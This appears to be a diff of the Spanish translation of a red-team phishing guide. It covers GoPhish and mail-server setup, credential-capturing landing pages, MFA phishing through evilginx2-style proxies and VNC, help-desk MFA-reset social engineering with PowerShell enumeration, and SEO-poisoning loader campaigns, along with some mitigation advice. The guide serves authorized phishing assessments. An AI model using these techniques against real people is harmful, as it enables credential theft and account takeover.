| - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) | ||||
| - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) | ||||
| 
 | ||||
| ## Discovering Emails | ||||
| ## Descubrimiento de correos electrónicos | ||||
| 
 | ||||
| - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) | ||||
| - [https://phonebook.cz/](https://phonebook.cz) (100% free) | ||||
| @ -78,17 +78,17 @@ Para asegurarte de que el dominio expirado que vas a comprar **ya tenga buen SEO | ||||
| - [https://hunter.io/](https://hunter.io) | ||||
| - [https://anymailfinder.com/](https://anymailfinder.com) | ||||
| 
 | ||||
| Para **descubrir más** direcciones de correo válidas o **verificar las que** ya has encontrado, puedes comprobar si puedes hacer brute-force contra los servidores SMTP del objetivo. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ | ||||
| Para **descubrir más** direcciones de email válidas o **verificar las que** ya has descubierto, puedes comprobar si puedes hacer brute-force contra los servidores SMTP de la víctima. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ | ||||
| Además, no olvides que si los usuarios usan **algún portal web para acceder a sus correos**, puedes comprobar si es vulnerable a **username brute force**, y explotar la vulnerabilidad si es posible. | ||||
| 
 | ||||
| ## Configuring GoPhish | ||||
| ## Configuración de GoPhish | ||||
| 
 | ||||
| ### Installation | ||||
| ### Instalación | ||||
| 
 | ||||
| You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) | ||||
| Puedes descargarlo desde [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) | ||||
| 
 | ||||
| Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\ | ||||
| Se te proporcionará una contraseña para el usuario admin en el puerto 3333 en la salida. Por lo tanto, accede a ese puerto y usa esas credenciales para cambiar la contraseña del admin. Puede que necesites tunelar ese puerto a local: | ||||
| Descarga y descomprímelo dentro de `/opt/gophish` y ejecuta `/opt/gophish/gophish`\ | ||||
| Se te mostrará una contraseña para el usuario admin en el puerto 3333 en la salida. Por tanto, accede a ese puerto y usa esas credenciales para cambiar la contraseña de admin. Puede que necesites tunelizar ese puerto a local: | ||||
| ```bash | ||||
| ssh -L 3333:127.0.0.1:3333 <user>@<ip> | ||||
| ``` | ||||
| @ -112,9 +112,9 @@ mkdir /opt/gophish/ssl_keys | ||||
| cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem | ||||
| cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt | ||||
| ``` | ||||
| **Configuración del correo** | ||||
| **Configuración de correo** | ||||
| 
 | ||||
| Comienza instalando: `apt-get install postfix` | ||||
| Instala: `apt-get install postfix` | ||||
| 
 | ||||
| Luego añade el dominio a los siguientes archivos: | ||||
| 
 | ||||
| @ -122,16 +122,16 @@ Luego añade el dominio a los siguientes archivos: | ||||
| - **/etc/postfix/transport** | ||||
| - **/etc/postfix/virtual_regexp** | ||||
| 
 | ||||
| **Cambia también los valores de las siguientes variables dentro de /etc/postfix/main.cf** | ||||
| Cambia también los valores de las siguientes variables dentro de /etc/postfix/main.cf | ||||
| 
 | ||||
| `myhostname = <domain>`\ | ||||
| `mydestination = $myhostname, <domain>, localhost.com, localhost` | ||||
| 
 | ||||
| Finalmente modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** con tu nombre de dominio y **reinicia tu VPS.** | ||||
| 
 | ||||
| Ahora, crea un **registro DNS A** de `mail.<domain>` que apunte a la **dirección IP** del VPS y un **registro DNS MX** que apunte a `mail.<domain>` | ||||
| Ahora crea un **registro DNS A** de `mail.<domain>` apuntando a la **dirección IP** del VPS y un **registro DNS MX** apuntando a `mail.<domain>` | ||||
| 
 | ||||
| Ahora vamos a probar a enviar un correo: | ||||
| Ahora probemos enviar un correo: | ||||
| ```bash | ||||
| apt install mailutils | ||||
| echo "This is the body of the email" | mail -s "This is the subject line" test@email.com | ||||
| @ -166,7 +166,7 @@ Modifica `/opt/gophish/config.json` a lo siguiente (nota el uso de https): | ||||
| ``` | ||||
| **Configurar el servicio gophish** | ||||
| 
 | ||||
| Para crear el servicio gophish de modo que pueda iniciarse automáticamente y gestionarse como un servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido: | ||||
| Para crear el servicio gophish para que pueda iniciarse automáticamente y gestionarse como servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido: | ||||
| ```bash | ||||
| #!/bin/bash | ||||
| # /etc/init.d/gophish | ||||
| @ -213,7 +213,7 @@ case $1 in | ||||
| start|stop|status) "$1" ;; | ||||
| esac | ||||
| ``` | ||||
| Termina de configurar el servicio y compruébalo haciendo: | ||||
| Termina de configurar el servicio y comprueba que esté funcionando: | ||||
| ```bash | ||||
| mkdir /var/log/gophish | ||||
| chmod +x /etc/init.d/gophish | ||||
| @ -224,11 +224,11 @@ service gophish status | ||||
| ss -l | grep "3333\|443" | ||||
| service gophish stop | ||||
| ``` | ||||
| ## Configurando servidor de correo y dominio | ||||
| ## Configuring mail server and domain | ||||
| 
 | ||||
| ### Espera y sé legítimo | ||||
| ### Wait & be legit | ||||
| 
 | ||||
| Cuanto más antiguo sea un dominio, menos probable será que sea detectado como spam. Por tanto, debes esperar tanto tiempo como sea posible (al menos 1 semana) antes de la evaluación de phishing. Además, si pones una página relacionada con un sector con reputación, la reputación obtenida será mejor. | ||||
| Cuanto más antiguo sea un dominio, menos probable es que sea marcado como spam. Por eso debes esperar el mayor tiempo posible (al menos 1 semana) antes de la evaluación de phishing. Además, si publicas una página relacionada con un sector con buena reputación, la reputación obtenida será mejor. | ||||
| 
 | ||||
| Ten en cuenta que, aunque tengas que esperar una semana, puedes terminar de configurar todo ahora. | ||||
| 
 | ||||
| @ -240,19 +240,19 @@ Configura un registro rDNS (PTR) que resuelva la dirección IP del VPS al nombre | ||||
| 
 | ||||
| Debes **configurar un registro SPF para el nuevo dominio**. Si no sabes qué es un registro SPF [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#spf). | ||||
| 
 | ||||
| Puedes usar [https://www.spfwizard.net/](https://www.spfwizard.net) para generar tu política SPF (usa la IP de la máquina VPS) | ||||
| You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Este es el contenido que debe establecerse dentro de un registro TXT en el dominio: | ||||
| This is the content that must be set inside a TXT record inside the domain: | ||||
| ```bash | ||||
| v=spf1 mx a ip4:ip.ip.ip.ip ?all | ||||
| ``` | ||||
| ### Registro DMARC (Domain-based Message Authentication, Reporting & Conformance) | ||||
| 
 | ||||
| Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). | ||||
| Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). | ||||
| 
 | ||||
| Tienes que crear un nuevo registro DNS TXT apuntando el hostname `_dmarc.<domain>` con el siguiente contenido: | ||||
| Debes crear un nuevo registro DNS TXT que apunte al hostname `_dmarc.<domain>` con el siguiente contenido: | ||||
| ```bash | ||||
| v=DMARC1; p=none | ||||
| ``` | ||||
| @ -260,7 +260,7 @@ v=DMARC1; p=none | ||||
| 
 | ||||
| Debes **configurar un DKIM para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). | ||||
| 
 | ||||
| Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| Este tutorial está basado en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Necesitas concatenar ambos valores B64 que genera la clave DKIM: | ||||
| @ -269,14 +269,14 @@ Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how- | ||||
| > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB | ||||
| > ``` | ||||
| 
 | ||||
| ### Prueba la puntuación de la configuración de tu correo electrónico | ||||
| ### Prueba la puntuación de la configuración de tu email | ||||
| 
 | ||||
| Puedes hacerlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\ | ||||
| Solo accede a la página y envía un correo a la dirección que te dan: | ||||
| Simplemente accede a la página y envía un email a la dirección que te dan: | ||||
| ```bash | ||||
| echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com | ||||
| ``` | ||||
| También puedes **comprobar tu configuración de correo** enviando un correo a `check-auth@verifier.port25.com` y **leer la respuesta** (para esto necesitarás **abrir** el puerto **25** y ver la respuesta en el archivo _/var/mail/root_ si envías el correo como root).\ | ||||
| También puedes **comprobar la configuración de tu email** enviando un email a `check-auth@verifier.port25.com` y **leer la respuesta** (para esto necesitarás **abrir** port **25** y ver la respuesta en el archivo _/var/mail/root_ si envías el email como root).\ | ||||
| Comprueba que pasas todas las pruebas: | ||||
| ```bash | ||||
| ========================================================== | ||||
| @ -288,40 +288,40 @@ DKIM check:         pass | ||||
| Sender-ID check:    pass | ||||
| SpamAssassin check: ham | ||||
| ``` | ||||
| También puedes enviar un **mensaje a un Gmail bajo tu control**, y comprobar las **cabeceras del correo** en tu bandeja de entrada de Gmail, `dkim=pass` debería estar presente en el campo de cabecera `Authentication-Results`. | ||||
| También podrías enviar **un mensaje a una cuenta de Gmail bajo tu control**, y revisar los **encabezados del correo** en tu bandeja de entrada de Gmail, `dkim=pass` debería estar presente en el campo `Authentication-Results`. | ||||
| ``` | ||||
| Authentication-Results: mx.google.com; | ||||
| spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; | ||||
| dkim=pass header.i=@example.com; | ||||
| ``` | ||||
| ### Eliminación de la lista negra de Spamhouse | ||||
| ### Eliminación de Spamhouse Blacklist | ||||
| 
 | ||||
| La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si tu dominio está siendo bloqueado por Spamhouse. Puedes solicitar que tu dominio/IP sea eliminado en: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) | ||||
| La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si tu dominio está siendo bloqueado por spamhouse. Puedes solicitar que tu dominio/IP sea eliminado en: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) | ||||
| 
 | ||||
| ### Eliminación de la lista negra de Microsoft | ||||
| ### Eliminación de Microsoft Blacklist | ||||
| 
 | ||||
| Puedes solicitar que tu dominio/IP sea eliminado en [https://sender.office.com/](https://sender.office.com). | ||||
| 
 | ||||
| ## Crear & lanzar campaña de GoPhish | ||||
| ## Crear y lanzar campaña de GoPhish | ||||
| 
 | ||||
| ### Perfil de envío | ||||
| 
 | ||||
| - Asigna algún **nombre para identificar** el perfil del remitente | ||||
| - Decide desde qué cuenta vas a enviar los emails de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._ | ||||
| - Puedes dejar en blanco el username y password, pero asegúrate de marcar Ignore Certificate Errors | ||||
| - Pon algún **nombre para identificar** el perfil del remitente | ||||
| - Decide desde qué cuenta vas a enviar los correos de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._ | ||||
| - Puedes dejar en blanco el username y password, pero asegúrate de marcar la opción Ignore Certificate Errors | ||||
| 
 | ||||
|  (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\ | ||||
| > Recomiendo **enviar los correos de prueba a direcciones de 10min mails** para evitar ser listado en listas negras al hacer pruebas. | ||||
| > Se recomienda usar la funcionalidad "**Send Test Email**" para comprobar que todo funciona.\ | ||||
| > Recomendaría **enviar los correos de prueba a direcciones 10min mails** para evitar ser blacklisted al hacer pruebas. | ||||
| 
 | ||||
| ### Plantilla de correo | ||||
| ### Plantilla de email | ||||
| 
 | ||||
| - Asigna algún **nombre para identificar** la plantilla | ||||
| - Luego escribe un **subject** (nada extraño, simplemente algo que esperarías leer en un correo normal) | ||||
| - Pon algún **nombre para identificar** la plantilla | ||||
| - Luego escribe un **subject** (nada extraño, algo que podrías esperar leer en un correo normal) | ||||
| - Asegúrate de haber marcado "**Add Tracking Image**" | ||||
| - Escribe la **email template** (puedes usar variables como en el siguiente ejemplo): | ||||
| - Escribe la **plantilla de email** (puedes usar variables como en el siguiente ejemplo): | ||||
| ```html | ||||
| <html> | ||||
| <head> | ||||
| @ -340,65 +340,65 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| Tenga en cuenta que **para aumentar la credibilidad del correo electrónico**, se recomienda usar alguna firma de un email del cliente. Sugerencias: | ||||
| Tenga en cuenta que, para **aumentar la credibilidad del correo**, se recomienda usar alguna firma de un correo real del cliente. Sugerencias: | ||||
| 
 | ||||
| - Enviar un email a una **dirección inexistente** y comprobar si la respuesta tiene alguna firma. | ||||
| - Buscar **emails públicos** como info@ex.com o press@ex.com o public@ex.com y enviarles un correo y esperar la respuesta. | ||||
| - Intentar contactar **algún email válido descubierto** y esperar la respuesta | ||||
| - Enviar un correo a una **dirección inexistente** y comprobar si la respuesta contiene alguna firma. | ||||
| - Buscar **correos públicos** como info@ex.com o press@ex.com o public@ex.com y enviarles un correo y esperar la respuesta. | ||||
| - Intentar contactar **algún email válido descubierto** y esperar la respuesta. | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). | ||||
| > La Plantilla de Email también permite **adjuntar archivos para enviar**. Si además quieres robar desafíos NTLM usando algunos ficheros/documentos especialmente diseñados [lee esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). | ||||
| 
 | ||||
| ### Página de destino | ||||
| ### Página de aterrizaje | ||||
| 
 | ||||
| - Escribir un **nombre** | ||||
| - **Escribir el código HTML** de la página web. Ten en cuenta que puedes **importar** páginas web. | ||||
| - Marcar **Capture Submitted Data** y **Capture Passwords** | ||||
| - Establecer una **redirección** | ||||
| - Configurar una **redirección** | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Normalmente necesitarás modificar el código HTML de la página y hacer algunas pruebas en local (quizá usando algún servidor Apache) **hasta que te guste el resultado.** Entonces, pega ese código HTML en el cuadro.\ | ||||
| > Ten en cuenta que si necesitas **usar recursos estáticos** para el HTML (por ejemplo CSS y JS) puedes guardarlos en _**/opt/gophish/static/endpoint**_ y luego acceder a ellos desde _**/static/\<filename>**_ | ||||
| > Normalmente necesitarás modificar el código HTML de la página y hacer algunas pruebas localmente (quizá usando algún servidor Apache) **hasta que te gusten los resultados.** Luego, escribe ese código HTML en el recuadro.\ | ||||
| > Ten en cuenta que si necesitas **usar algunos recursos estáticos** para el HTML (quizá CSS y JS) puedes guardarlos en _**/opt/gophish/static/endpoint**_ y luego acceder a ellos desde _**/static/\<filename>**_ | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Para la redirección podrías **redirigir a los usuarios a la web legítima principal** de la víctima, o redirigirlos a _/static/migration.html_ por ejemplo, poner una **rueda giratoria (**[**https://loading.io/**](https://loading.io)**) durante 5 segundos y luego indicar que el proceso fue exitoso**. | ||||
| > Para la redirección podrías **redirigir a los usuarios a la página legítima principal** de la víctima, o redirigirlos a _/static/migration.html_ por ejemplo, poner una **rueda de carga (**[**https://loading.io/**](https://loading.io)**)  durante 5 segundos y luego indicar que el proceso fue exitoso**. | ||||
| 
 | ||||
| ### Usuarios & Grupos | ||||
| ### Usuarios y Grupos | ||||
| 
 | ||||
| - Establecer un nombre | ||||
| - **Importar los datos** (ten en cuenta que para usar la plantilla en el ejemplo necesitas el firstname, last name y email address de cada usuario) | ||||
| - Poner un nombre | ||||
| - **Importar los datos** (nota que para usar la plantilla de ejemplo necesitas el firstname, last name y email address de cada usuario) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| ### Campaña | ||||
| 
 | ||||
| Finalmente, crea una campaña seleccionando un nombre, la plantilla de email, la landing page, la URL, el Sending Profile y el grupo. Ten en cuenta que la URL será el enlace enviado a las víctimas | ||||
| Finalmente, crea una campaña seleccionando un nombre, la plantilla de email, la landing page, la URL, el perfil de envío y el grupo. Ten en cuenta que la URL será el enlace enviado a las víctimas. | ||||
| 
 | ||||
| Ten en cuenta que el **Sending Profile permite enviar un email de prueba para ver cómo quedará el correo final de phishing**: | ||||
| Ten en cuenta que el **Sending Profile permite enviar un email de prueba para ver cómo quedará el phishing final**: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Recomendaría **enviar los correos de prueba a direcciones 10min mails** para evitar ser blacklistado mientras haces pruebas. | ||||
| > Recomendaría **enviar los correos de prueba a direcciones 10min mails** para evitar ser incluido en listas negras mientras realizas pruebas. | ||||
| 
 | ||||
| ¡Una vez que todo esté listo, lanza la campaña! | ||||
| 
 | ||||
| ## Website Cloning | ||||
| ## Clonación de sitio web | ||||
| 
 | ||||
| Si por alguna razón quieres clonar el sitio web, consulta la siguiente página: | ||||
| Si por alguna razón quieres clonar el sitio web consulta la siguiente página: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| clone-a-website.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ## Backdoored Documents & Files | ||||
| ## Documentos y archivos con backdoor | ||||
| 
 | ||||
| En algunas evaluaciones de phishing (principalmente para Red Teams) también querrás **enviar archivos que contengan algún tipo de backdoor** (quizá un C2 o quizá algo que solo desencadene una autenticación).\ | ||||
| En algunas evaluaciones de phishing (principalmente para Red Teams) querrás también **enviar archivos que contengan algún tipo de backdoor** (quizá un C2 o quizá algo que provoque una autenticación).\ | ||||
| Consulta la siguiente página para algunos ejemplos: | ||||
| 
 | ||||
| 
 | ||||
| @ -408,55 +408,55 @@ phishing-documents.md | ||||
| 
 | ||||
| ## Phishing MFA | ||||
| 
 | ||||
| ### Via Proxy MitM | ||||
| ### Vía Proxy MitM | ||||
| 
 | ||||
| El ataque anterior es bastante ingenioso ya que estás falsificando un sitio real y recopilando la información que introduce el usuario. Desafortunadamente, si el usuario no introduce la contraseña correcta o si la aplicación que falsificaste está configurada con 2FA, **esa información no te permitirá suplantar al usuario engañado**. | ||||
| El ataque anterior es bastante ingenioso ya que estás falsificando una web real y recopilando la información introducida por el usuario. Desafortunadamente, si el usuario no introduce la contraseña correcta o si la aplicación que has falsificado está configurada con 2FA, **esta información no te permitirá suplantar al usuario engañado**. | ||||
| 
 | ||||
| Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) y [**muraena**](https://github.com/muraenateam/muraena) son útiles. Esta herramienta te permitirá generar un ataque tipo MitM. Básicamente, el ataque funciona de la siguiente manera: | ||||
| Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) y [**muraena**](https://github.com/muraenateam/muraena) resultan útiles. Esta herramienta te permitirá generar un ataque MitM. Básicamente, el ataque funciona de la siguiente manera: | ||||
| 
 | ||||
| 1. Tú **suplantas el formulario de login** de la página real. | ||||
| 2. El usuario **envía** sus **credentials** a tu página falsa y la herramienta las reenvía a la página real, **comprobando si las credenciales funcionan**. | ||||
| 3. Si la cuenta está configurada con **2FA**, la página MitM pedirá el código y una vez que el **usuario lo introduce** la herramienta lo enviará a la página real. | ||||
| 4. Una vez que el usuario está autenticado tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza el MitM. | ||||
| 2. El usuario **envía** sus **credenciales** a tu página falsa y la herramienta las reenvía a la página real, **comprobando si funcionan**. | ||||
| 3. Si la cuenta está configurada con **2FA**, la página MitM pedirá ese código y, una vez que el **usuario lo introduce**, la herramienta lo enviará a la página real. | ||||
| 4. Una vez el usuario está autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza el MitM. | ||||
| 
 | ||||
| ### Via VNC | ||||
| ### Vía VNC | ||||
| 
 | ||||
| ¿Qué pasa si en lugar de **enviar a la víctima a una página maliciosa** con apariencia igual a la original, la envías a una **sesión VNC con un navegador conectado al sitio real**? Podrás ver lo que hace, robar la contraseña, el MFA usado, las cookies...\ | ||||
| ¿Qué pasa si, en lugar de **enviar a la víctima a una página maliciosa** con la misma apariencia que la original, la envías a una **sesión VNC con un navegador conectado a la página real**? Podrás ver lo que hace, robar la contraseña, la MFA utilizada, las cookies...\ | ||||
| Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) | ||||
| 
 | ||||
| ## Detecting the detection | ||||
| ## Detectando la detección | ||||
| 
 | ||||
| Obviamente, una de las mejores maneras de saber si te han pillado es **buscar tu dominio en listas negras**. Si aparece listado, de alguna forma tu dominio fue detectado como sospechoso.\ | ||||
| Obviamente una de las mejores formas de saber si te han descubierto es **buscar tu dominio en listas negras**. Si aparece listado, de alguna forma tu dominio fue detectado como sospechoso.\ | ||||
| Una forma fácil de comprobar si tu dominio aparece en alguna blacklist es usar [https://malwareworld.com/](https://malwareworld.com) | ||||
| 
 | ||||
| Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad de phishing sospechosa en la red** como se explica en: | ||||
| Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad de phishing sospechosa en el entorno** como se explica en: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| detecting-phising.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| Puedes **comprar un dominio con un nombre muy similar** al dominio de la víctima **y/o generar un certificado** para un **subdominio** de un dominio controlado por ti **que contenga** la **palabra clave** del dominio de la víctima. Si la **víctima** realiza cualquier tipo de interacción **DNS o HTTP** con ellos, sabrás que **está buscando activamente** dominios sospechosos y tendrás que ser muy sigiloso. | ||||
| Puedes **comprar un dominio con un nombre muy similar** al dominio de la víctima **y/o generar un certificado** para un **subdominio** de un dominio controlado por ti **conteniendo** la **palabra clave** del dominio de la víctima. Si la **víctima** realiza cualquier tipo de interacción DNS o HTTP con ellos, sabrás que **está buscando activamente** dominios sospechosos y tendrás que ser muy sigiloso. | ||||
| 
 | ||||
| ### Evaluar el phishing | ||||
| 
 | ||||
| Usa [**Phishious** ](https://github.com/Rices/Phishious) para evaluar si tu email terminará en la carpeta de spam o si va a ser bloqueado o será exitoso. | ||||
| Usa [**Phishious** ](https://github.com/Rices/Phishious) para evaluar si tu email va a terminar en la carpeta de spam o si va a ser bloqueado o tendrá éxito. | ||||
| 
 | ||||
| ## High-Touch Identity Compromise (Help-Desk MFA Reset) | ||||
| ## Compromiso de identidad de alto contacto (Reseteo de MFA vía Help-Desk) | ||||
| 
 | ||||
| Los conjuntos de intrusión modernos cada vez evitan totalmente los señuelos por email y **apuntan directamente al flujo de trabajo de service-desk / identity-recovery** para derrotar el MFA. El ataque es totalmente "living-off-the-land": una vez que el operador posee credenciales válidas pivota con herramientas administrativas integradas – no se requiere malware. | ||||
| Los conjuntos de intrusión modernos cada vez más omiten por completo los correos y **apuntan directamente al flujo de trabajo del service-desk / recuperación de identidad** para derrotar el MFA. El ataque es completamente "living-off-the-land": una vez que el operador posee credenciales válidas pivotan con herramientas administrativas integradas – no se requiere malware. | ||||
| 
 | ||||
| ### Flujo de ataque | ||||
| ### Flujo del ataque | ||||
| 1. Recon de la víctima | ||||
| * Recopilar detalles personales y corporativos de LinkedIn, breaches de datos, GitHub público, etc. | ||||
| * Recolectar detalles personales y corporativos de LinkedIn, breaches de datos, GitHub público, etc. | ||||
| * Identificar identidades de alto valor (ejecutivos, IT, finanzas) y enumerar el **proceso exacto del help-desk** para reset de contraseña / MFA. | ||||
| 2. Ingeniería social en tiempo real | ||||
| * Llamar por teléfono, Teams o chat al help-desk haciéndose pasar por el objetivo (a menudo con **spoofed caller-ID** o **voz clonada**). | ||||
| * Proporcionar el PII previamente recopilado para pasar la verificación basada en conocimiento. | ||||
| * Convencer al agente para que **reseteé el secreto MFA** o realice un **SIM-swap** en un número móvil registrado. | ||||
| * Llamar por teléfono, Teams o chat al help-desk haciéndose pasar por el objetivo (a menudo con **caller-ID spoofing** o **voz clonada**). | ||||
| * Proporcionar la PII previamente recolectada para pasar la verificación basada en conocimiento. | ||||
| * Convencer al agente para que **resetee el secreto MFA** o realice un **SIM-swap** en un número móvil registrado. | ||||
| 3. Acciones inmediatas post-acceso (≤60 min en casos reales) | ||||
| * Establecer un foothold a través de cualquier portal web SSO. | ||||
| * Enumerar AD / AzureAD con herramientas integradas (sin dejar binarios): | ||||
| * Enumerar AD / AzureAD con herramientas integradas (sin dropear binarios): | ||||
| ```powershell | ||||
| # list directory groups & privileged roles | ||||
| Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} | ||||
| @ -467,35 +467,35 @@ Get-MgDirectoryRole | ft DisplayName,Id | ||||
| # Enumerate devices the account can login to | ||||
| Get-MgUserRegisteredDevice -UserId <user@corp.local> | ||||
| ``` | ||||
| * Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos de **RMM** ya en lista blanca en el entorno. | ||||
| * Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos **RMM** ya en la whitelist del entorno. | ||||
| 
 | ||||
| ### Detección & Mitigación | ||||
| * Tratar la recuperación de identidad por help-desk como una **operación privilegiada** – requerir step-up auth y aprobación del manager. | ||||
| * Desplegar reglas de **Identity Threat Detection & Response (ITDR)** / **UEBA** que alerten sobre: | ||||
| * Método MFA cambiado + autenticación desde nuevo dispositivo / geolocalización. | ||||
| * Elevación inmediata del mismo principal (user-→-admin). | ||||
| * Grabar las llamadas al help-desk y exigir una **devolución de llamada a un número ya registrado** antes de cualquier reseteo. | ||||
| ### Detección y mitigación | ||||
| * Tratar la recuperación de identidad por help-desk como una **operación privilegiada** – requerir step-up auth y aprobación de manager. | ||||
| * Desplegar **Identity Threat Detection & Response (ITDR)** / reglas **UEBA** que alerten sobre: | ||||
| * Método MFA cambiado + autenticación desde un nuevo dispositivo / geo. | ||||
| * Elevación inmediata del mismo principal (user → admin). | ||||
| * Grabar llamadas del help-desk y aplicar un **call-back a un número ya registrado** antes de cualquier reset. | ||||
| * Implementar **Just-In-Time (JIT) / Privileged Access** para que las cuentas recién reseteadas **no** hereden automáticamente tokens de alto privilegio. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns | ||||
| Los grupos commodity compensan el coste de las operaciones high-touch con ataques masivos que convierten a **los motores de búsqueda & redes de anuncios en el canal de entrega**. | ||||
| ## Decepción a gran escala – SEO Poisoning y campañas “ClickFix” | ||||
| Las crews commodity compensan el coste de las operaciones de alto contacto con ataques masivos que convierten a los **motores de búsqueda y redes de anuncios en el canal de entrega**. | ||||
| 
 | ||||
| 1. **SEO poisoning / malvertising** impulsa un resultado falso como `chromium-update[.]site` a los primeros anuncios de búsqueda. | ||||
| 2. La víctima descarga un pequeño **first-stage loader** (a menudo JS/HTA/ISO). Ejemplos observados por Unit 42: | ||||
| 1. **SEO poisoning / malvertising** impulsa un resultado falso como `chromium-update[.]site` a los anuncios de búsqueda principales. | ||||
| 2. La víctima descarga un pequeño **first-stage loader** (a menudo JS/HTA/ISO). Ejemplos vistos por Unit 42: | ||||
| * `RedLine stealer` | ||||
| * `Lumma stealer` | ||||
| * `Lampion Trojan` | ||||
| 3. El loader exfiltra cookies del navegador + bases de datos de credenciales, luego descarga un **silent loader** que decide – *en tiempo real* – si desplegar: | ||||
| 3. El loader exfiltra cookies del navegador + DBs de credenciales, luego descarga un **silent loader** que decide – *en tiempo real* – si desplegar: | ||||
| * RAT (p. ej. AsyncRAT, RustDesk) | ||||
| * ransomware / wiper | ||||
| * componente de persistencia (clave Run en registry + tarea programada) | ||||
| * componente de persistencia (clave Run del registro + tarea programada) | ||||
| 
 | ||||
| ### Consejos de hardening | ||||
